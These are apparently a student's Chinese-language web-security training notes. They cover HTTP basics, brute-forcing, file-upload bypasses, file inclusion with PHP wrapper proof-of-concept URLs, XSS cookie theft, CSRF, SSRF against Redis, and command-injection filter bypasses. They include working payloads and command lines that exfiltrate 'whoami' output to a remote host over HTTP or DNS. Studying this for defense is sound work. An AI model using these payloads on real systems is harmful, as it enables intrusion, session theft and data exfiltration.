大三末实训
前言
实训的笔记,记录一下,防止忘记
网站URL
统一资源定位器(uniform resource locator
),用来定位服务器的资源
标准格式:protocol://hostname[:port]/path/[?query]
http
默认80端口
%[ascii]
:此外+
也代表空格,常用来转换&
字符或者其他的一些特殊字符base64
编码:http
环境下传递较长的标识信息Hex
编码:
协议HTTP
无状态的协议,通过cookie
和session
来进行相关的状态处理
(1)请求报文
①结构
User-Agent
:产生请求的浏览器类型,一般可以随意指定,但是当服务器方面有限制则会受到影响,比如爬虫进行检查Accept
:用户声明客户端可以处理的MIME
类型,即文件类型Accept-Encoding
:用于声明客户端能够理解的内容编码方式Accept-Language
:用于声明客户端可以理解的自然语言Cookie
:存放用户的身份凭证Content-Length
:请求数据的长度,服务器端只会按照该字段进行长度解析,多余的截断。Referer
:当前访问URL的上一个URL,用户从什么地方来到该页面的
②请求方法
GET/POST/CONNECT
等等
GET
:没有请求数据的部分,在URL中传输数据,由于URL长度限制,所以传输的数据也是有限制的。
POST
:在请求数据部分进行数据传输,长度基本没有什么限制,注意设置Content-Type
和Content-Length
(2)响应报文
描述服务器端的一些信息
①结构
Data
:请求发送的时间和日期,GMT时间Server
:告诉客户端服务器的名称和版本号Content-Type
:响应正文的MIME
类型Content-Length
:响应正文的长度Connection
:告诉客户端完成相应后的连接状态Content-Encoding
:Web服务器告诉浏览器数据传输使用了那种压缩方法Last-Modified
:实体报头域用于指示资源最后的修改日期和时间状态码:
- 200:请求成功
- 1XX:服务器收到请求,需要请求者继续执行操作
- 2XX:成功
- 3XX:重定向,需要进一步的操作用以完成请求。类似需要登录
- 4XX:客户端错误,请求包含语法错误或者无法完成请求
- 5XX:服务器端错误,服务器在处理请求的过程中发生了错误
等等,还有一些其他的
协议HTTPS
在HTTP
下加入了SSL/TLS
层,通过安全机制进行传输数据。握手过程是明文传输,来建立HTTPS
连接
会话
利用cookie
(客户端)和session
(服务端)来进行保存会话状态,比如记住密码
客户端第一次发送数据给服务端时没有Cookie
,服务器收到请求后,创建Session
,之后通过Set-Cookie
字段把Session ID
以Cookie
的形式告诉客户端。以后每次请求发送该Cookie
到服务器,服务器即可识别。
关于Webshell
一个服务器权限
身份认证
通常爆破
(1)常见认证
Burpsuite
中的Intruder
模块有很多选项
可以设置需要爆破的地方,爆破方式,编码方式,爆破字典,是否跳转(状态码为302)等等
(2)Basic认证
常见admin:passwd
等,关键词为:Authorization:Basic [xxxx]
,其中xxxx
即为admin:passwd
的相关编码,这个可以在Intruder->Payloads->Payload type
选择Custom iterator
。之后在Payload Options [Simple list]
中设置下不同的字典即可,即自定义一个字段的不同位置数据的迭代爆破。
- 设置方式
设置字典
用户密码
中间冒号
字典
设置编码
取消特殊字符,这里即为
=
的url
编码
文件上传
(1)验证漏洞
客户端
JavaScript
验证当发现不是从服务器返回的验证不通过信息,就可能是客户端本身的
JavaScript
进行了验证,那么就可以在Burpsuite
发包的过程对文件进行修改,比如改掉文件名称等。或者直接修改本地网页中的
JavaScript
代码,或者使用插件禁用掉JavaScript
代码脚本服务端验证
MIME
限制:常见的服务器对Content-Type
进行解析限制文件内容验证:通常验证文件头,可以修改其文件头,或者将一句话木马放入到对应的文件内容最后
JPG
:FF D8 FF E0 00 10 4A 46 49 46GIF
:47 49 46 38 39 61(GIF89a)
PNG
:89 50 4E 47文件扩展名验证:验证文件的后缀,黑名单白名单之类的
大小写绕过(
Windows
下大小写不敏感)windows
下的文件名后缀不规范(或者某些特殊字符)会被改掉,比如test.php....
会被修改为test.php
,但是这样就可以绕过验证了,实际还是执行的php
文件。如果只是替换后缀名,那么可以进行拓展后缀名绕过,比如
phphpp
%00
截断绕过:保存文件时可能会将文件名和目录进行拼接,那么就可以绕过(PHP<5.3.34)
特殊可解析后缀绕过:
在某些环境(比如基于
ubuntu
的apt-get
按照的apache
)中,会将某些特殊的文件名后缀当作某一类文件进行解析,比如php3
会被当作php
解析可能是开发的时候历史遗留问题把
Apache
的.htaccess
绕过Apache
里面有一个配置文件,xx.htacess
可以用来写入Apache
配置信息,用来改变当前目录以及子目录下的Apache
的配置信息。需要如下条件:
运行
.htaccess
生效Apache
开启rewrite
模块Apache
配置文件为AllowOverride All
(默认为None
)
那么就可以尝试上传该文件
1
2
3<FilesMatch "sec.jpg">
SetHandler application/x-httpd-php
</FilesMatch>之后当前配置下生效的地方,
sec.jpg
即可被解析为php
(2)服务器解析漏洞
Apache
解析漏洞从右往左解析,
abc.php.ccc.aaa
会被当作abc.php
来进行解析(某些版本)IIS6.0
解析漏洞(windows
的中间件)Nginx
解析漏洞
c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 (github.com)
文件下载
(1)利用
过滤规则不好,可以下载任意文件
- 获取站点源码
- 获取站点与中间件配置文件
- 获取应用与系统的配置文件
可利用的相关配置文件
Windows平台
Linux平台
(2)防御
- 文件保存到数据库,依据ID进行下载
- 参数过滤,不能目录穿越
文件包含
即include
和require
相关函数,将用户指定的文件包含进来。那么如果该文件中有php
代码,则会被执行,其他的字符,则会被输出。不受到相关文件后缀,文件头之类的限制。
(1)函数解析
include
:包含过程中如果出现错误,只会生成警告(E_WARNING
),在include
函数后面的代码还是会正常被执行require
:包含过程中如果出现错误,会生成致命错误(E_COMPILE_ERROR
)并且停止脚本运行,之后的代码都不包会被运行。include_once
和require_once
两个函数,如果文件已经包含,则不会再次被包含,防止相关函数重定义或者变量重新赋值。
(2)漏洞利用
通过PHP
函数引入文件时,如果对文件名没有限制或者合理的验证,很容易执行到相关的漏洞php
代码或者文件信息泄露。
1 |
|
①本地文件包含
即包含服务器本身的文件。
1 | 127.0.0.1/index.php?file=test.txt |
②远程文件包含
利用URL
,使得网络中的可访问文件被包含,不过需要在php.ini
中开启如下配置项
1 | allow_url_fopen = on(默认开启) |
如下
1 | 127.0.0.1/index.php?file=www.baidu.com |
(3)其他利用方式
①包含日志文件
- 利用原理
输入URL
时,输入相关的php
代码使之报错,随即就会将相关的报错信息输入到log
中,那么就可以将php
的相关代码输入到日志中,那么我们包含该日志就会执行到该代码。
1 | 127.0.0.1/index.php?file=<?php phpinfo(); ?> |
利用条件:
- 日志文件可读
- 知道日志文件的存储目录
常见的日志文件目录:
并且一般情况下日志存储目录会被修改,需要读取服务器的相关配置文件(httpd.conf
,nginx.conf
等),或者依据phpinfo()
来获取。
相关的日志信息也可以被调整,限制。
②包含Session
条件:
Session
中存在可控变量Session
文件可以读写,并且知道存储路径
默认存储路径:
相关的index.php
如下
1 |
|
输入username
会记录Session
,以序列化的形式存在,可以在php.ini
中找到相关的保存路径
那么访问即可获得Session
这样就可以尝试将该文件使用文件包含的形式来执行代码。
(4)伪协议
使用伪协议可以访问PHP
的相关文件描述符,从而进行读取解析文件。
①使用例子
比如有时候直接文件包含不能够打印结果,比如说某个test.php
,内容如下
1 |
|
那么当include
文件包含进入之后,解析PHP
代码,只会输出aaaa
,而不会输出flag{cccc}
的内容,这时候就需要用到伪协议php://filert
来将文件流包含进来,这样就会打印出test.php
文件了
使用伪协议:
1 | php://filter/read=convert.base64-encode/resource=index.php |
Burpsuite
解码
②各种伪协议
php://filter
通常用来读取文件
php.ini
:1
2allow_url_fopen=off/on
allow_url_include=off/onPOC
:1
?file=php://filter/read=convert.base64-encode/resource=test.php
php://input
将
POST
请求的相关数据当作一个文件流输入进去,配合文件包含通常可以执行任意命令。php.ini
:1
2allow_url_fopen=off/on
allow_url_include=onPOC
:1
2?file=php://input
[POST DATA]<?php phpinfo(); ?>
zip://
访问压缩包里的文件,访问到的文件结合文件包含函数就会被当作
php
文件执行,从而实现任意代码执行。php.ini
:1
2
3allow_url_fopen=off/on
allow_url_include=off/on
php >= 5.2需要注意的是只要是压缩包即可,后缀名无所谓。相同类型的还要
zlib://
和bzip2://
POC
:#
需要进行URL
编码1
2zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\phpstudy_pro\WWW\test.zip%23test.php
phar://
phar
是用来打包生成php
项目用的,可以用相关协议进行解析,其中涉及到很多东西,比较常见的就是zip
打包访问以及序列化、反序列的东西。类似
zip://
,可以访问zip
中的文件,并且相对路径和绝对路径都可以。php.ini
:1
2
3allow_url_fopen=off/on
allow_url_include=off/on
php >= 5.3POC
:1
2?file=phar://zip.jpg/phpinfo.txt
?file=phar://D:\zip.jpg\phpinfo.txt
data://
类似于
php://input
,让用户控制文件的输入流。php.ini
:1
2
3allow_url_fopen=on
allow_url_include=on
php >= 5.2POC
:1
2
3
4
5
6data://[<MIME-type>][;charset=<encoding>][;base64],<data>
?file=data://,<?php phpinfo();
?file=data://text/plain,<?php phpinfo();
?file=data://text/plain;base64,[content]
?file=data:text/plain,<?php phpinfo();
?file=data:text/plain;base64,[content]
(5)防御
allow_url_include
和allow_url_fopen
最小权限化- 设置
open_basedir
将php
所能打开的文件限制在指定的目录树中 - 白名单限制包含文件,或者严格过滤
./\
漏洞SQL注入
了解基本原理,各种利用方式,盲注,时间盲注,布尔盲注,堆叠注入之类的,也差不多会,但是种类太多啦。而且感觉这种类型,工具比实际的感觉会好用一些。此外由于现今数据库很多都开始使用模型来获取制造SQL语句,很难利用了,所以笔记就没有怎么记录。
漏洞XSS
跨站脚本(Cross Site Scripting
)攻击,为了不和CSS
产生歧义,所以缩写为XSS
。
攻击者可以在页面插入恶意脚本(JavaScript
)代码,受害者访问页面时,浏览器解析执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。
XSS
即注入HTML
代码
(1)种类
①存储型
较为持久,一般在留言板、用户发帖、用户回帖的版块中,一般类似如下三步:
- 插入留言:恶意代码数据存储到数据库中
- 查看留言:恶意代码数据从数据库中提取出来
- 内容在页面显示
DVWA
的Low Security
版本代码如下
1 |
|
那么就直接将恶意代码插入了数据库,不同的DVWA Security
如下
之后在解析的时候
没有过滤的直接解析为HTML
代码
过滤的信息被解析为相关的字符串
②反射型
插入的数据不存储和读取数据库,直接回显到页面上,通常需要诱导用户去点击触发漏洞的地方。
DVWA
的Low Security
版本代码如下
1 |
|
浏览器中解析如下所示
③DOM型
比较少见,通过修改页面中的DOM节点,与客户端上的JavaScript
进行交互,不会与服务端进行交互,通常是document.write
函数
1 |
|
没有写入其他的如下
当从URL加入其他的拼接字符,其结构点发生变化,写入了我们的JS
代码
(2)危害攻击
- 钓鱼,可以伪造登录框和页面
- Cookie盗取
- 获取IP
- 站点重定向
BOM/DOM
的操作- 获取客户端的页面信息,比如窃取邮件内容
XSS
蠕虫,可以自我传播
(3)挖掘
输入输出点,有的转义、过滤、消毒的等需要处理
(4)触发漏洞
在
script
标签插入1
<script>alert(1)</script>
在事件中插入
1
<IMG src=x onerror=javascript:alert(1);>
在该方式下,
src
读取不到资源,就会触发后面的javascript
代码,即alert(1)
在协议中插入
1
<a href="javascript:alert(1);">点此查看链接</a>
点击这里就会跳转
href
中进行执行javascript
代码等等
▲XSS的Payload大全:
Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy (portswigger.net)
▲XSS的题目大全
(5)XSS攻击平台
firesunCN/BlueLotus_XSSReceiver (github.com),这个通常用来自定义payload
,然后进行上线
Kali
下的Beef
,有很多的模块,社工弹窗等,还挺全
Cookie盗取
使用beef
的hook.js
使得客户端执行恶意的JS
代码后,会在beef
中收到一些信息,其中就可以提取相关网站的cookie
,之后使用无痕模式,将Cookie
在F12->App->Cookie->对应网站
下,修改填入相关盗取的Cookie
即可
(6)防御
①代码防御
在服务器的输入输出处理的时候使用过滤、编码、转移之类的,或者HttpOnly
头来禁止JS
代码读取Cookie
。
②安全设备
WAF
和IDS
③控制客户端输入规则
检测相关的输入
漏洞CSRF
CSRF(Cross Site Request Forgery
),跨站点伪造请求。即攻击者在用户已经登录目标网站之后,诱导用户访问一个攻击者制造的攻击页面,利用用户身份对目标网站发起伪造用户身份操作的请求,相当于伪造用户。这个过程中没有盗取Cookie
而是直接利用用户的Cookie
来达到伪造用户身份的目的。
(1)种类
GET型
无保护情况
当只需要进行
URL
提交即可完成功能,即只需要GET
请求就能完成时。如下,只是利用该
URL
传入参数,结合Cookie
即可完成修改密码操作的时候。1
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
这种情况就直接伪造一个链接,诱导用户点击该链接,从而触发一个目标网站
有
Referer
在
Medium
版本下的加了一行代码1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
即检测
Referer
是否是服务器本身,SERVER_NAME
表示运行脚本所在服务器的主机名。(如果只是浏览器输入URL
访问的话,其Referer
字段为空,链接的话则不会,会保存来源网站)所以这里我们就需要进行抓包伪造
Referer
字段。有
token
在
High
版本下添加了1
2
3
4checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
//......
// Generate Anti-CSRF token
generateSessionToken();会检测用户传入的
token
,这是一个随机值,每次网站检测完之后会重新生成,然后将新的token
发还给用户。通常这种情况需要结合其他漏洞,比如
XSS
来获取相关的token
值,即变成了XSRF
。1
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName(' user. token')[0].value
即加载当前的
csrf
这个界面时,会弹出token
值。当然,结合其他的手法可以直接获取token
然后来伪造链接。
POST型
需要构造POC
,在Burp suite
中可以右键->Engagement tools->Generate CSRF Poc
,这样可以生成一个form
表单形式来发生POST
请求,对应修改相关字段即可。
1 | <html> |
在添加input
标签,然后添加对应需要的值即可
(2)利用
通常组合拳形式来XSRF
(3)防御
- 验证
Referer
和token
- 在
HTTP
头部加入自定义属性验证 - 高危操作加入验证码
- 等等
漏洞SSRF
SSRF
(Server-side Request Forgery
)服务端请求伪造
比较常用的就是可以让服务器的相关敏感参数受到我们的控制,比如说我们可以传入一个URL
让服务器去爬取,这个URL
就是比较敏感的参数。
这样就可以绕过服务器的防火墙了。
(1)可能存在的SSRF
①功能服务
以下的就可能存在SSRF
漏洞
- 请求远端资源
- 在线翻译
- 数据库内置功能
- 编码服务(?api=xxxx)
URL
网址调用- 邮箱邮件
②关键参数
share、target、wap、url、sourceURL、imageURL、source、domain
等
③关键函数
PHP
:file_get_contents()
fsockopen()
curl_exec()
fopen()
Python
:urllib
库http
头注入requests
库中默认跟随30x
跳转
(2)利用
①相关协议
file
:访问本地文件的协议http
dict
:字典服务器协议,基于查询响应的TCP
协议。查询目标服务端口,需要服务具备TCP
回显功能常见如下:
http:80
https:433
ftp:20/21
mysql:3306
telnet:23
dns:53
dhcp:67/68
sshd:22
nginx:80
tomcat:8080
sql server:1433
oracle:1521
smtp:25
redis:6379
gopher
:在HTTP
协议之前的,在Internet
上常见的协议,支持多行,常用来攻击内网。
②获取敏感文件
Windows
C:/windows/win.ini
:保存系统配置文件
Linux
file:///etc/passwd
:获取账号密码file:///etc/hosts
:本网段的内网IP之后可以进行内网探测
③内网横向探测-WEB
A.首先获取内网IP
使用file
协议:file:///etc/hosts
,但是在虚拟机里不知道怎么获取到对应的docker的IP
这里假设本地搭建的虚拟机里面,docker
和本虚拟机组成的一个子网
即子网中其他的docker的IP
就是172.17.0.x
B.信息收集
爆破子网存活主机及端口
在BurpSuite
中将包发到Intruder
,然后添加$
进行重放,由于是需要爆破多个位置,那么就使用Clusterbomb
模式
之后在Payload
上进行设置两个位置的爆破数值
第一个
第二个
开始攻击之后得到结果,依据对应的内容和长度来判断是否存在相关的服务
C.内网穿透
利用gopher
协议来利用构造两个数据包
- 首先将第一个爬虫数据包抓取放到
Repeater
③内网横向探测-Redis-未授权
A.dict
协议测试
1 | dict://172.17.0.2:6379/ |
返回如下OK
即代表未授权即可访问,即没有密码
如果需要密码访问即如下
B.写入木马
1 | dict://172.17.0.2:6379/flushall |
XXE
命令执行
(1)常用函数
①eval()
函数
1 | mixed eval(string $code); |
把字符串code
当作PHP
执行
代码不能包含打开/关闭
PHP tags
,比如不能传入<?php echo "Hi"; ?>
。但是可以利用闭合形式来关闭PHP
再重新打开。比如1
echo "In PHP mode!"; ?> In HTML mode!<?php echo "Back in PHP mode!";
传入的必须是有效的
PHP
代码,并且以分号;
来进行语句分割,没有正常分割的话会导致一个parse error
。
②assert
函数
1 | bool assert(mixed $assertion[,string $description]) |
PHP
中用来判断一个表达式是否成立,返回布尔值。
如果assertion
为字符串,那么它会被assert()
当作PHP
代码来执行。
③preg_replace
函数
1 | mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]]) |
对字符串进行正则处理。搜索subject
中匹配pattern
的部分,以replacement
来进行替换。当$pattern
参数中存在/e
修饰符时,$replacement
的值会被当作PHP
代码执行。
PHP5.5.0
开始,传入\e
修饰符会产生E_DEPRECATED
错误,但是还是可以生效。而PHP7.0.0
开始,会产生E_WARNINIG
错误,同时\e
无法生效
如下代码,传入_=phpinfo();
即可触发phpinfo
函数
1 | echo preg_replace('/\s/e',$_POST[_],$str); |
④调用函数过滤不当
通常用在框架中,小程序很少
call_user_func()、call_user_func_array()、array_map()
等几十个函数都可以调用其他函数的功能,其中第一个参数为调用的函数名称,如果这个函数名称可控,那么就可以调用任意函数。
1 | mixed call_user_func(callable $callback[,mixed $paramenter[,mixed $....]]) |
如下代码所示,传入_assert
即可
1 | call_user_func($_POST[_],'phpinfo()'); |
⑤动态函数执行
可拼接字符串当作函数
1 | $a = 'a'.'s'.'s'.'e'.'r'.'t'; |
或者
1 | $_GET['a']($_POST[_]); |
那么传入a=assert
和_=phpinfo();
即可,但是不能传递eval
。
⑥可用执行命令漏洞函数
string system(string $command[,int &$return_var])
函数执行
command
参数所指定的命令,并且输出执行结果string exec(string $command[,array &$output[,int &$return_var]])
执行
command
指定的命令string shell_exec(string $cmd)
通过
shell
环境执行命令,将完整的输出以字符串形式返回。void passthru(string $command[,int &$return_var])
执行外部程序并且显示原始的输出
``反引号
利用
ls
,会被当作系统命令执行,其实就是shell_exec()
函数进行处理。void pcntl_exec(string $path[,array $args[,array $envs]])
多进程处理扩展,需要额外进行安装才行。
resource popen(string $command,string $mode)
打开一个指向进程的管道,该进程由给定的
command
命令产生。resource proc_open(string $cmd,array $descriptorspec,array &$pipes[,string $cwd[,array $env[,array $other_options]]])
更强大一些,但是需要指定更多的参数
bool ob_start([callback $output_callback[,int $chunk_size[,bool $erase]]])
控制输出缓冲的,相当于另外开辟一片缓冲区,可通过
ob_end_flush
来输出缓冲区可选参数
$output_callback
被指定后,ob_flush/ob_clean
或者类似的函数进行刷新时,会调用该回调函数,并且调用时输出缓冲区的内容会被当作参数去执行,并且返回一个新的缓冲区作为结果。
1 | system('whoami'); |
(2)绕过
- 命令方面
&
、|
、;
、&&
、||
之类的
空格绕过
IFS
,为shell
的内置变量,用于分割字段,默认值为空(可当作空格、tab
、换行)。1
cat${IFS}text
{}
1
{cat,text}
tab
1
cat%09text
重定向
1
cat<text
黑名单绕过
拼接
1
a=c;b=at;c=tex;d=t;$a$b ${c}${d}
使用环境变量
1
2
3echo ${SHELLOPTS}
echo ${SHELLOPTS:3:1}
{SHELLOPTS:3:1}at${IFS}text使用空变量
1
cat t{x}ext
使用通配符
1
/bin/ca? tex?
使用反斜杠
1
ca\t tex\t
base64
编码1
2echo t|base64
ca$(echo "dAo="|base -d) text
无回显绕过
使用
HTTP
通道带出数据1
curl host/`whoami`
使用
DNS
通道带出数据一样的
1
ping `whoami`.host
编码
1
curl hosts/$(whoami|base64)
(3)防御
正则表达式白名单、过滤
漏洞JAVA反序列化
从数据对象反序列化成内存对象的过程,主要是各种链子,有点困难,需要后续慢慢研究。